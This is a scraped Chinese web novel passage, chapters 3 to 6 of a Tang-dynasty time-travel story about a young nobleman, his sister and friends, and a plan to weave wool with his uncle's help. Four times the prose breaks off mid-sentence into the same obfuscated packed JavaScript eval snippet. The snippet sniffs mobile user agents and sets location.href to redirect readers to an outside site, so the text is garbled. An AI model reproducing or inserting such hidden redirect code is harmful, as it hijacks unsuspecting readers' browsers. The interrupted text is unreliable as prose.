《大唐守军家属》 3. 第 3 章 前院枣树下,李春几个正陆陆续续的将东厢房里一些比较占地方的手工机械搬出来,凌乱的不知道准备做些什么。 后院听到前头动静的李秋娘领着丫头闻声凑了过来。 “大兄,你们这是忙什么呢?” 李秋娘今年虽只有12岁,但5岁失母,9岁失父的她,从懂事儿起,就一直在守孝读书,故而性子比寻常孩子要沉稳的多,以至于李春的这些自小一起长大的朋友们这些年慢慢的,都不在拿她当个孩子哄,若是办了什么糗事儿,还会稍稍遮掩一二,生怕让她看了去嗤笑。 所以啊,这会儿她开口一问,所有人下意识的就是一顿,然后齐齐的看向了李春。 你小子,折腾这些个东西,你妹可知道? 怎么可能不知道,又不是住的远开八只脚的那种! 李春撇了撇嘴角,小白眼翻了不下三次,这才转身迎过去问: “你怎么出来了?不是说今儿要算账吗?” “大兄,你们声音太吵了,我哪里还能算的下去。” 李秋娘说道这里,微微侧身,从李春的手臂外侧往枣树边又看了看。等确定了那些被搬动的是什么东西后,突然就捂嘴笑了起来。 “怎么又折腾起了这个?上次你不还说以后再也不做了?怎么又反悔了?” 咦,这话……很有内容啊! 刚搬完一台纺线机的唐煜拍拍手,甩甩袖,将帮才搬动东西沾染上的尘土掸了去,然后嬉笑着一边朝着李秋娘走去,一边引导着问道: “秋娘,同唐家哥哥说说,你大兄最近做出什么好东西?让我们也见识见识。” 李秋娘虽然因为常年守孝的缘故,不怎么往外走动,见得外人也不多,心性有些单纯,但她不是小红帽,装大灰狼是骗不到她的。 喏,这丫头的眼珠子立时就滴溜溜的转起来了!人还偷感十足的往李春身边凑了凑,直接将李春当成了隔离带。嘿,这场面,不知道的还以为这是遇上了什么人贩子了呢! ‘人贩子’唐煜见着李秋娘这样,无奈的叹了口气。换了个伤心的表情,继续道: “哎,看来以往唐哥哥我对你还是不够好啊,这才让你如此顾虑。你看这样,一会儿唐哥哥就让人送只上好的羊羔来,请咱们秋酿吃一顿美味的烤羊肉如何?” “烤羊肉?” 对于一个几乎是连续守孝了6年的小姑娘来说,这烤羊肉三个字的威力实在是有些大,大到只是听说,就开始想要咽口水,眼睛里更是布满了渴望。 嗯,不只是她,就是李春也下意识的滚动了一下喉结。 原身为什么会在雪山遇上吐蕃人的?那不就是馋狠了,又正好遇上了,这才脑子一热,一路追踪,追出了事儿嘛。 诱惑直中七寸,这还有什么可说的? 李春果断选择将自己卖了。 “有烤羊肉你早说啊,还用问秋娘?来来来,我自己拿给你看。” 说着李春就直接跑去了西厢房,拿利索劲看的其他几个都忍不住失笑出声。 “好家伙,唐三,你这是越发的本事了,鸿胪寺没请了你去,真是大大的失策。” “果然,唐家人的嘴就是厉害。” “嘿嘿,我们唐家的基本技能还是可以的,见笑了,见笑了啊!” 唐煜拱手作揖,脑袋却昂的高高的,脸上的笑也特别的讨打,看的宋祁几个笑的越发厉害了。所以这一个个的竟是没看到,那李秋娘此时已经不知不觉的,度步到了西厢房门口,然后在李春抱着东西即将踏出来的那一瞬,一下就把住了门口,特别严肃的同李春道: “大兄,羊还没拿来呢,等拿来了再给他们看才是正经。” 院子里的人同时一顿,然后这笑声再次响起,而且比先前更闹腾了。 “哈哈哈。” “唐三,赶紧,牵羊去。” “李春,你这妹子教的,可真是够把家的。” 把家?确实把家,不过这事儿对着自己这一伙儿还行,放到别处……算了,妹妹应该也不至于这么没眼色。谁能闹谁不能闹,她还是懂的。 “放心,他赖不了账,若是看过了不将羊取来,大兄就上门直接去要两只,想来唐家伯父,必然应允。” 嚯,这兄妹两个,一搭一唱的可真够配合的。唐煜哭笑不得的点头: “对对对,你大兄亲自去取,还得带上利钱,哪怕是为了少损失些,唐哥哥我也不敢耍赖。” 听到这样的保证,李秋娘终于露出了满意的神色,点了点头道: “那就看吧。不过先说好啊,可别笑话我大兄。” 能用上笑话,难不成……几个人的好奇心越发的厉害了,冲过来就抢了李春手里包裹着的东西,七零八乱的打开了包裹,然后…… “这是……坐垫?这做的不是还挺好嘛。有什么好笑话的?” 宋祁不解的将包裹里的三个毛毡坐垫都翻看了一下,愣是没看出有什么不对来。疑惑的将手里的东西递给了边上的其他人。 “你们看看,能看出什么嘛?” 别人有没有看出暂时不知道,氾兴这会儿是真的已经看出问题了。只见他噗嗤一笑,点了点毛毡坐垫的正面,问李春: “你这上头,原本是准备做什么图形的?怎么就糊成了一团?” 李春单手捂脸,不想回答。 宋祁皱眉,重新打量了起来,可不管怎么看,他都看不出这上头有图形。 “这上头……不就是眼色浅了些?有图形吗?” 唐煜这会儿也反应过来了,手在那坐垫上比划了几次,这才迟疑的道: “似乎是个什么花?” 阴筹点头,煞有其事的道: “这大小,图形应该不小。” 说话间他小心的挑起几缕浅色的羊毛,猜测道: “这颜色……浅红的?大红的?还有这个,似乎是褐色?能用这几个颜色的花不少,李三郎,你这……不对,说岔了,你既然是要做出图形,怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096374|195625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最后就成了这样?” 对头,关键就在这里,哪怕是图形走形了呢,那好歹也是制作出图样了,李春,到底是怎么将好好的图层给弄成一锅粥,让人看不出半点端倪的? 想明白这一点,小伙伴们脸上的笑再也没法子控制了,一个个不是笑歪了腰,就是蹲在地上锤着地面。场面都有些疯魔了! “笑笑笑,有什么好笑的,真让你们动手,怕是一个个的还不如我呢。” 哎,这可不兴说啊,你要这么来,那咱们可真要比比了。 大唐的汉子,谁还没点艺术修养?程咬金都能跳胡旋舞,唐玄宗也能弹一手好琵琶,他们这些自小琴棋书画培养出来的少年,还能栽倒在这事儿上? “没做过图形的坐垫还有没有?拿过来,让本郎君亲自给你开开眼界。” “对,这不就和作画一样嘛,有什么难得。拿个过来,某必然让你知道知道什么叫活色生香。” 行,你们都能是吧!那就给,看看你们能做出什么样来! 李春豪爽的一挥手,五个初级坐垫就甩了出来,然后看着小伙伴们一个个兴奋地想要搞事情的模样,露出了看好戏的表情。 呵呵,都是小白一个,还想一次成功,这梦做的比他还夸张。真当穿越者是弱鸡啊!他这穿越的半个月……罢了,说起来都是泪哦! 刚来那会儿,他知道自己是穿越到了大唐的时候,李春那个激动啊!小心肝都跳快了三分之一,差点伤没好,又添个心疾出来。满脑子想的都是怎么利用自己的‘远见卓识’,在这个时代搞风搞雨。 只是等着他将计划写了七八张之后突然发现,哪怕他穿越的这个身世可以,家庭条件可以,可地理环境……很不可以。 河西地区哎,丝路要道的名头再响,也改变不了这里作为四战之地的不便。想经营长期业务?呵呵,一不好就成了给吐蕃人、回纥人打工了。再有那络绎不绝的马匪、沙匪、强盗,更是让高大上,听着就闪着金光的主意没了开启的可能。 和挣钱相比,性命显然更重要对吧! 李春当时那是忍着心痛,一条条的将金点子划掉。弄到最后能剩下的,最容易实现的,只剩下了两个字:羊毛。 那么怎么才能不打眼,又顺利的开启羊毛事业? 考虑到当时的李春还是伤残人士,手脚不便之下,能干的其实并没有什么可选的,就剩下一个羊毛坐垫了。而这坐垫想要卖出好价钱来……艺术创作必不可少。比如给这坐垫弄出个牡丹图?想想洛阳的牡丹,想想牡丹和武皇的故事,李春一拍大腿,就定下了努力的方向。 只是……很多事儿永远都是眼睛会了手没会。李春的艺术创作刚开了个头,就惨遭滑铁卢!而这还是他对如何制作大概心里有数的情况下。你说,换成唐煜几个……呵呵,结果可以预见是如何了! “我这里还有染好色的羊毛,咱们就在我家制作如何?公开公平公正的比一比?” “行啊。” “就该这样。” 4.第 4 章 听说李春伤势没全好就开始出门溜达,令狐淳心下大火,急匆匆的就领着人上门,想要好好的教训教训。 别以为没了爹就没人管了,他这个当舅舅的还在呢,李家家主也住的不远,必要时双人合揍还是能干的出来得。 只是现在这情况……是不是有点不对? 令狐淳眨眨眼,不解的看着院子里这几个全心全意坐在地上,往毛毡坐垫上戳戳戳的孩子,一时竟是有些不知道该张嘴说什么了。 “舅老爷来了啊!” 自从这几个小子开始比拼着戳坐垫,宝叔就时不时的过来帮着整理整理,这时节,大白天的风可不小,他们还都在院子里忙乎,稍微风大些,那一撮撮染色的羊毛就有些压不住。可不就要人帮忙嘛。 只是他才从演武场那边收拾了东西过来,脚还没踩过几步呢,就看到了站在大门口,和个木头人一般的令狐淳几个,心下立时就惊了一下,暗叫一声不好,扬起笑脸就小跑着奔了过去。不为别的,就想用这法子好歹压一压舅老爷的怒火,让自家小主子一会儿能少受些教训。 只是……他人才到跟前,还没来得及帮着分说一二呢,就听令狐淳低声疑惑的问: “这怎么说的?他们这几个又玩上什么新花样了?” 咦,不是立马发火?问他?那他可就有话可以说了。 “嗨,还不是顶牛顶出来的事儿嘛。前些日子郎君躺在榻上不得动弹,一时无趣,便想着在坐垫上戳点花样出来解解闷。可他不只是伤了腿呀,那手臂不一样也用不上什么力气嘛,所以这戳出来的……” “嗯,不像样?” 令狐淳听宝叔一说,就有些想笑。自家这外甥,虽说自小也算是琴棋书画,都按照世家公子的规矩教了,可这人啊,总是免不得有人力不可及的事儿。李春这孩子,练武读书都好说,就是这书画上……实在是没什么天分。写字写了那么些年,也只能说一句端正,而作画……画个菊花能画成蟹爪型,画个老虎愣是能被人看成家猫,这水平,戳坐垫花样?想也知道必定一团糊涂。 “呵呵,舅老爷高见。” 是啊,确实是高见,因为他这会儿已经猜到现场是什么情况了。 “所以让小伙伴们给嗤笑了?然后这一伙子不成器的就开始比上了?” 宝叔这会儿除了讪笑已经不用再说其他了。还说什么呢?什么都摆着了。 “舅老爷英明。” “呵呵,老爷我不英明,不过安生的在家待着,怎么也比伤没好就去外头瞎胡闹强。” 这个宝叔也认,所以特别乐呵的压低了声音道: “老奴也是这么想的,所以服侍的精心着呢。” “呵呵,你个老东西,越发的有眼力见了。” 此时令狐淳再看那坐在地上折腾的一身绸缎衣裳都褶皱的和烂布一般的几个小伙儿再没有了刚开始的急切和疑惑,眼睛里满满的全是好笑和放心。 “走,去看看这几个本事人究竟是个什么水平。” 说着令狐淳就缓着步的往院子里走,脚步声放的很轻,明显就是不想打扰他们。后头跟着的令狐家的人都是有眼力见的,见着家主如此,自然也跟着一并轻手轻脚起来。所以直到他们走到李春身边,偶然抬头想要换颜色的李春才发现了人。 “舅父?” 李春吃惊之下惊呼出声,人更是下意识的想要站起来,而他这一动一喊……同时也惊到了其他人。然后……这就热闹了。 “哎呦,你喊……世伯?” “我的手,差点扎到了,哎呀,是世叔来了啊。” “小心,小心,挤到我了,世伯好啊。” “起开,你踩着我衣裳了。世伯。” 因为染色的羊毛有限,所以这几个人比拼的时候坐的都挺近,又是直接坐在地上忙乎,所以手脚摊的都老开,这一下子想站起来……怎么可能不相互拖后腿?反正就这么一个起身打招呼的功夫,五个人愣是唱了好几出的戏,那热闹劲,看的令狐淳都忍不住哈哈大笑起来。 “你们几个猴崽子,真该让你们父亲来看看,这都什么样,哪里还有半点世家子弟的做派。” 嘴里虽然是在骂人,可只看他笑眯眯的摸样,和不轻不重的语气就知道,令狐淳并没有计较的意思,所以几个小年轻立时便很有眼色的撑起了厚脸皮,舔着脸讨好起来。 “世伯可千万别告诉我父亲。” “对对对,我们闹着玩呢,都是打小一处长大的,肆意了些,对着外人万不敢如此的。” “世伯怎么这个时候来了?哎呀李三郎,赶紧的给你舅父斟茶呀。” “世伯,外头太阳晒,咱们进屋叙话吧。” 李春……看看这个,再看看那个,直接都快气笑了。 这是我舅父,你们这都是什么意思? 令狐淳难得被这么一群小子如此讨好,加上李春看着也挺康健,心情大好之下,难得没推辞,反而十分配合的道: “那行,听你们的,咱们进屋说,三郎,走啊。” 好嘛,还帮着招呼起了李春,这主客颠倒的,李春无奈的摇了摇头,转身对宝叔道: “去提了热水来,我亲自给客人们奉茶。” 李春将‘亲自’两个字咬牙切齿的说了,又在说‘客人’的时候狠狠地瞪了小伙伴们一眼,这分割的十分清楚明白的做派,让宝叔也忍不住跟着弯了嘴角。 虽然笑话自家郎君很不应该,可看到李春如此活泼,宝叔还是心里高兴的紧。自打家主过世,自家好久没有这么闹腾了。 “是,老奴一定很快提来。” 宝叔配合的躬了躬身,快步就往厨房去,李春呢,也终于吐出了一口浊气,恢复了几分清明。 “舅父怎么这个时候来了?这会儿风大的很,路上可有被吹着?” 见着小伙伴们陪着自家舅父已经往主屋去了,李春朝着听声儿赶来的长随石德福挥了挥手,示意他赶紧将院子里的东西收拾了,自己则快步的跟上了队伍, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109605|195625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同样殷勤的问候起了令狐淳。 都说娘亲舅大,在这个时代,当舅舅的一般都挺负责。令狐淳也同样如此,甚至更好些,因为李春的亲妈,是这令狐淳唯一的妹妹,所以在他没了爹妈之后,记忆里这舅父可没少照顾他。 虽说那个不是他,而是原身。可既然他成了这个时代的李春,那自然也继承了他所有的情感和恩怨,自是要对这舅父多尊重些的。 令狐淳听着外甥殷勤询问,心里受用,回头看向李春的眼神都带上了慈爱,但这时候的家长多习惯了打击教育,所以张口说出来的话并不怎么中听。 “我不来能行?你小子,才刚有些好转就开始敢往外跑,哼,若非你知道些好歹,早早归了家,这会儿鞭子都该抽起来了。” 李春穿越前虽然年岁也不大,可怎么也比如今的18岁多些,各种信息接收的也多,所以对令狐淳这看似严厉的教训并没多少反感和叛逆的心思,相反还能舔着脸讨好上几句: “哎呀,好在我机灵,转了圈就回来了。不过舅父,既然打不用了,那我这么乖,是不是能给点奖励?” 什么?还敢讨要奖励?这李春是让什么东西上身了吧!怎么就能说出如此厚颜无耻的话来? 令狐淳惊呆了!不,连着小伙伴们都惊呆了!直勾勾的看着这个嬉皮笑脸的家伙,眼珠子差点掉地上。 “哈哈,哥哥好好笑。” 还是秋娘的笑声解开了这满室皆惊的诡异场面,只是刚才的尴尬……嗯嗯,不要紧,大家都挺会打岔的。 “哎呀,是秋娘啊,来,让舅父看看,这些日子你大兄身子不好,顾不得你,可有受委屈?” 令狐淳果断丢开李春,斜跨一步,将秋娘拉过来寒暄问暖,避开了自己刚才被镇住的尴尬。而其他小伙伴更直接些,一个个扯着李春就要开始检查他的面皮。 “好家伙,你这脸皮是用什么做的?” “走了一趟雪山,莫不是学了那些吐蕃人的法子,给脸上上油了?” “还想要奖励?李三郎啊李三郎,你可以啊。” 小伙伴中最少言的氾兴听着同伙们这不轻不重的话都有些叹气了,这样的攻击对李春来说有什么用? 扯开人,往前一步,氾兴压着声音问李春: “你小子,养个病怎么连着胆子都养大了?说,是不是有什么依仗?都是一起长大的,你难不成还瞒了什么秘密?” 呐,要不说经学世家出身的人脑子就是好呢,看看这一针见血的话,李春那是立时就给氾兴来了个点赞的小眼神,然后眯着眼睛说了几个字: “我舅父家有织匠。” 嗯?织匠?哎呦喂,羊毛布哎,这个可以啊,反正这东西想要靠着他们自己,怕是想要弄出来不知道要耗费多少时间,还不如找个大人,有织匠的大人,往上那么一捅……想来不用几日就能出结果了。 “行,就按你说的来。” 戳了半天的坐垫,他们手也累了,正好换个游戏玩玩。 5.第 5 章 对于李春几个凑上来说的用羊毛织布的事儿,令狐淳只是初初一听,就感觉有戏,等着将李春捣鼓出来的几样简陋的东西看过,那更是慎重的点了点头。 “听着确实有理,不过……” 令狐淳捏了捏李春梳理出来的蓬松的羊毛,又看了看那球拍一般的梳子,回头认真的道: “这东西终究没有前例,器具也没有合适的,所以还需要织匠慢慢的试,时间怕是不会短,而且未必一定成功,你确定要尝试?” 令狐淳看着李春这个外甥,想从他的眼睛里看出点什么来。但此时李春的眼睛里除了肯定,愣是没有别的。 也是,毕竟他很确定这羊毛织布是能行的,而且真要敞开来说,他还能一二三的,说出不少后世人尽皆知的小知识点来,什么羊的品种区别啊,什么羊毛不同季节的区分啊,还有羊绒和羊毛的不同等等。 “肯定要试啊?若是真成了,嘿嘿,舅父,那咱们这一片以后可就有了地域特产了,不管是卖去西域,还是东进长安,都能让咱们这里富起来。” 这是富起来的事儿? 令狐淳心里嘀咕,但此时到底还有外人在,所以他什么都没说,只是点了点头将事儿应承了下来。 “行吧,那我回去后,就掉几个织匠过来给你帮忙。” 说着令狐淳又看了看那还摊在地上的坐垫,没好气的问: “既然你想要用羊毛做尝试了,那怎么还怎么浪费东西?咱们这里虽说羊毛布稀奇也不值钱,可做事儿就该有做事儿的样子。” 不是所有的世家贵胄子弟都喜好奢华的,勤俭持家这四个字,自来就很有市场,哪怕是在豪门中,同样不缺簇拥。像是令狐家这种经历过乱世,又几经迁徙的那更是如此。 李春看着令狐淳簇起的眉头,心肝小小的一跳,然后忙不迭的就开始解释: “这是我最早做的,本是为了打发时间,谁能想到这不过是想制作花纹更好看些,将羊毛梳理几下,竟是能梳理出这么一个想头呢。舅父,我知道好歹的,以后除非是用不上的粗羊毛,其他的必定不会瞎浪费。” 嗯,态度还行,理由也算充足,令狐淳到底不是亲爹,所以点点头,算是放过了这一茬。 只是他这里放过了,氾兴几个的却有些不好意思了。 人家舅父教训外甥,他们在这里杵着……是不是有些不好? “那什么,世叔,三郎,我们出来时间有些长,要不,那什么,先告辞了?” 唐煜这样的口舌,这会儿都有些结巴了,可见他们有多不好意思。 令狐淳抬眼看了看天色,又看了看这几个小子,扬起几分笑,温和的道: “也好,正好回去和你们父亲说说,过几日我上门。” 上门?上什么门? 阴筹性子松散,一时还没反应过来,其他几个眼明心亮的,此时已经同时看向了那些羊毛,然后露出几分了然和自得来。 看来自己这父母嘴里的痞赖混账,今儿是真干了件大事儿啊!这可好,回去不好好的在亲爹亲妈面前多絮叨几句,那可真是太浪费大好时机了。 想到这里,几个人越发的急切起来。若非世家规矩礼仪拘束着,此时怕是早就开奔了。可即使如此,这撤退的速度也远超以往,弄的秋娘都有些诧异。 “大兄,他们……” “哦,他们戳的手酸了,这是正好有借口早点撤呢。” “那这胜负还分不分了?” “分,怎么不分?你赶紧的,将我们每一个人的东西都收起来,等他们下次来了,好拿出来做个了断。” 这话说的,还了断!秋娘听着差点笑出了声来。而令狐淳呢,看着李春如此忽悠自家妹妹,什么都没说,只笑着摇了摇头,眼睁睁的看着秋娘幸灾乐祸的领着丫头去收拾院子。 到了此时,正房里终于没有了别人,只剩下了这舅甥两个,令狐淳也终于能问出心里的疑惑了。 “你究竟是怎么想的?” 李春听着令狐淳平静低沉的询问,心里微微一晒,暗道了一句:老狐狸。 “这事儿不是一家能做的。” 令狐淳赞同的点头,但看向李春的眼睛没动,只赞同的道: “不错,你家没有养织匠,只有法子确实不行,不过李家不是没有别人,只要你告诉你大伯,他自然会帮你将这事儿给办了。三郎,你别告诉我你将事儿告知给这四家,是为了所谓的兄弟义气。” 这话问的就有意思了啊,他这是看出李春什么了? 李春垂眼微微一笑,坦然的道: “舅父,羊毛若是真能织成布,那需要的羊毛必然不少,光是咱们酒泉,甚至是周围几个地方能够用?” 令狐淳眼睛里带上了几分笑意,顺着李春的话往下应答: “不够,若是想一下子将这产业做起来,最起码要用三个织坊,日夜不停地织上几个月,才能够打开场面。” “是啊,那么到时候羊毛从哪儿来?咱们这附近什么地方羊毛最多?” “北庭都护府。” 令狐淳肯定的道。 “所以你打上了这几家的主意,因为只要咱们往北庭一动,这几家必定会得到消息,而只要他们得到了消息,这么一个从无到有的产业,他们必定也会心动,想要掺和进来。只是三郎,等着后续有了羊毛布产出,再分润给她们,咱们是能谈出些好处的,这个你应该知道。” “我知道,但届时,谁能保证只有他们几家想要?河西这里早年一直都是各个世家躲避战乱,保存血脉的后路,中原各大世家几乎都有旁支在这里落地生根。若是他们抢先一步,将消息送到了中原,引来了大鳄,那咱们还能吃到肉?陇右李家是陇右李家,皇家是皇家,哪怕说的再亲近,也终究不是一家人。” 话说到这里,令狐淳是彻底的笑开了。 “好,好好啊,三郎,你终于有了一家之主的样子了。” 令狐淳站起身,在屋子里一边转圈一边道: “你想的没错,与其用危机来换取那一点好处,还不如一开始 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17118214|195625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就将他们都拉上船,如此,哪怕做出来了之后会有麻烦呢,也有他们几家和咱们一同面对。呵呵,有了咱们这么多家团结在一起面对,哪怕是皇家想要空手套白狼,也得掂量掂量。” 李春看着为他学会谋算而高兴的令狐淳,心下一暖,忍不住又吐露了几句自己的心思: “皇家必定会插手的。我算计的,不过是咱们能保存下多少的主动权罢了。” “哦?为什么这么说?” 令狐淳不解,虽说开发出新的布料品种确实是一桩大事儿,可这东西再怎么样也只是羊毛做出来的东西罢了,羊毛如此粗糙,能做出来的品质可想而知,怎么都比不上丝绸的,想想那些坐垫,那些毛毡,价值潜力就在这里摆着呢。能给草民裹身,能让天下少些冻死的人,就已经是大功德了,还能有什么大作用不成?怎么就说皇家必定会要? 李春看着疑惑的令狐淳,知道自家舅父这是思路还没打开,又不及朝堂重臣有眼界,所以没意识到羊毛的作用,所以他很诚恳的低声解释道: “咱们收的羊毛多了,草原上的人自然就知道羊毛也值钱了,那他们会不会想着多养几只羊?好多卖点钱?而羊养的多了……草原上的草就那么些,什么会少呢?还有吐蕃,那高原上也是有羊的,若是咱们也收他们的羊毛,那他们……想要和咱们打仗的时候,是不是会多考量几分?” “嘶!” 令狐淳倒吸一口凉气,手下意识的想要去撸几下胡子,却不小心直接扯下来了几根。 疼痛让他意识回神,终于听明白,也想明白了李春话里的意思,一时眼睛里全是异彩。 “这,这也是你自己想的?” 你别说,这要是以前的李春,还真想不出这么个关联来。毕竟他就是个在酒泉县长大的少年,哪怕这里是肃州的治所呢,地理环境诀定了,这里的政治氛围就这么一点,实在是没有学习成长的机会。 只是既然李春敢说,那自然是准备好了说辞的。 “躺在床上没事儿干,忍不住就多想了想。犯事儿追根溯源,然后往旁处多想想,总能想出点名堂来的。呵呵,舅父,我又不是笨蛋是吧。” “哈哈哈,你若是笨蛋,那这天下就没有聪明人了。” 令狐淳此时激动的都想好大大的呼号几声了,看向李春的眼神都好似看着自家的麒麟儿一般,夸起人来自是不遗余力的很。 “好啊,你父亲若是在泉下有知,知晓你如今的成色,必然欣慰的很。李家,李家未来可期了!” 好吗,就说了个羊毛,一下就将整个李家的未来都带上了,这范围真不是一般的大,说的李春都有些不好意思了。 “舅父。” “来来来,过来和舅父说说,你还想了点什么?舅父我洗耳恭听。” 夸张了啊!长辈对着晚辈洗耳恭听,这在封建礼教时代……好吧,李春其实也有点像嘚瑟,那就多说说?围绕着羊毛,能干的事儿其实还是挺多的,比如他藏着掖着还没拿出来的羊毛线,那就是个不错的东西。 6.第 6 章 如果说令狐淳来李春家的时候,心情是一朵鸡冠花,那么在走的时候,就是一朵喇叭花,一路往外走的时候,感觉空气都清新了好些,满目都是希望之光。 ‘家族产业能多出几样,影响力能扩充一倍,甚至操作好了……族里几个官员怕是还能升上一二阶,还有中原那边,利益交换下,也能得些隐形的好处,这么一算……这羊毛可真是个好东西,以往怎么就没往这上头多琢磨几分呢!’ 令狐淳心里的念头一个接着一个,若非自小的教养规矩在那里摆着,差点都忘了和送他到门口的李春道别。 而李春呢,看着自家舅父走的如此干脆利索,神色振奋,脸上不自觉的多了几分笑意。 “郎君,那……坐垫您还继续吗?” 宝叔听了个全程,知道了自家小主子的谋算,心里的震惊都快裂开了。他是看着自家小主子长大的,他竟是从没察觉,自家小主子竟是个如此有谋算的人,难不成以往是他眼瞎了不成? 不,肯定不是,这应该是李家的血脉起了作用。要不说帝王血脉就是不一样呢,看看,这不是,一到关键时刻,一到岁数,这厉害劲就显出来了。 既然小主子厉害,那他作为管家,自然也是不能拖后腿的。虽然他很想问问,这羊毛是不是真有这么多作用,可这会儿还是在门口呢,要是让旁人听去了可怎么好?所以话到嘴边,宝叔果断的将主题飘逸到了坐垫这里,表情纠结的,好似看着在家郎君胡来不知道怎么劝一般。 “看着其他几位郎君的样,这几日怕是不会少来,届时还一处比试的话,咱们家是不是该另外收拾个地方?总是在院子里,坐在地上,这……实在是有些不像样。” 李春听到宝叔这么问,还没意识到他说坐垫的意图,是顺着这话往下想了想,然后笑道: “也是,这季节的风可不有好,这样,将倒座前的廊道用轻纱围上,如此,既不遮光,还能挡风,坐在里头也宽敞。” “哎,那老奴一会儿就去办。” 说完这个,宝叔看了看天色,跟着李春往里走了几步后又道: “郎君,马上就是正午了,赶紧用膳吧,一会儿还要吃药。” 李春脚步一顿,眼神黯淡了几分。 吃饭,吃药啊!这个事儿……哎,网上那么多人对穿越唐朝心心念念,可真来了才知道,这时候的日子,哪怕是世家贵胄呢,其实也不怎么好过。别的不说,就说这吃饭吧。主食就那么几种,不是馎饦(面片汤)就是胡饼(囊),哦不对,还有冷淘(冷面)和馒头包子,只不过这个此时叫蒸饼、笼饼,因为发酵只能用老面团的缘故,做的并不如后世松软。吃起来口感自然也一般。 至于菜式上……这就更匮乏了,除了各种蒸菜,汤品,其他的就只有烤的和生的,比如炙羊肉、浑羊殁忽和鱼脍。冷修羊是难得的白切冷菜,但问题是这依然只是羊,在杀牛犯法的时代,肉类射入只靠羊,还美其名曰贵族美食。这让李春享受了不到十天,就开始感觉到了腻歪。 他是不是应该在开创大业之前,先赶紧的将口舌之欲满足满足? 李春很认真的开始思考这个问题。 “郎君?郎君?怎么了?” “啊,没,没什么,行,吃饭,吃饭。” 李春大踏步的往正房去,刚才思考的美食瞬间被放到了身后。 现在还不是时候,虽然打一个铁锅很容易,炒菜也很容易教,可问题是他一个贵族家主,还是个从小衣来伸手饭来张口的郎君,根本就没有理由来解释自己怎么会厨房里活计的。所以,哪怕是为了不让家里人生疑,给现在正在进行的事儿增加不必要的风险,他也不能在这个时候去忙乎这个。 不过炒菜不行不代表他不能对原有的进行改良。 “宝叔,这几天总是喝补汤,吃的嘴都有些木了,你让李妈妈这些日子多做些汤饼吧,将冷修羊切的薄薄的,铺在上头,撒上一把芫荽,想想就觉得满口生香。” 宝叔听李春这么一描述,眼前立马就有了画面,跟着一想也笑了起来。 “别说,郎君这法子听着还真挺让人发馋。若是用上好的骨汤做底,那这一碗汤饼就更美了。” “是吧,可惜咱们家胡椒不多了,若是能撒上一些,许是还能更好吃。” “什么好吃?大兄,你们说什么呢?” 秋娘的小脑袋从正房的门边探出来,好奇的发问,明明什么都不知道呢,只一个好吃,就让这孩子眼睛发亮,嘴巴还下意识的做起了吞咽的动作。 这爱好美食的摸样,绝对是血脉本能。以至于让李春几乎是在一瞬间就想起了早年看过的一个笑话。 ‘国人对待不认识的东西,第一时间就会发出灵魂三问:能吃吗?好吃吗?怎么吃?’看看秋娘这样,不就是最好的例证? “放心,有好吃的怎么也少不了你。” 知道自己有份,秋娘很给面子的笑了笑,不在继续追问。但舅父走了,她总是要表示一下关切的。 “舅父怎么不吃了午膳再走?” “你又不是不知道,舅父向来过午不食。” “哦,也是。” 秋娘理解的点点头,然后抱着小肚子,眼巴巴的看着李春。 “大兄,饿了。” 是该饿了,看了他们兄弟几个一上午的笑话,前院后院的来回走了七八回,早膳那点子东西,怕是早就已经耗空了。 “知道了知道了,我这不是也过来准备吃饭了嘛,石榴?去厨房问问,可做好了?” 小尾巴一般跟在秋娘身后的石榴应声清脆,小跑着就往厨房去,那急切的模样,一看就知道必然也是饿狠了。 秋娘这个当主子的都跑了七八回,她一个丫头自然只有跑动的更多的,这会儿若非忍功了得,肚子都该出声儿了,如何能不快? 按照世家的规矩,只有主子吃过了,他们这些下人才能轮着去填肚子。所以主子们的膳食上来的越早,他们才能越少挨饿。 .......................... 李春这里开始吃上了午饭,另一头刚回家不久的小伙伴们此时却正在各自父亲的书房里,受着亲爹的目光洗礼。特别是氾兴家,氾兴他老爹那是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17129125|195625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 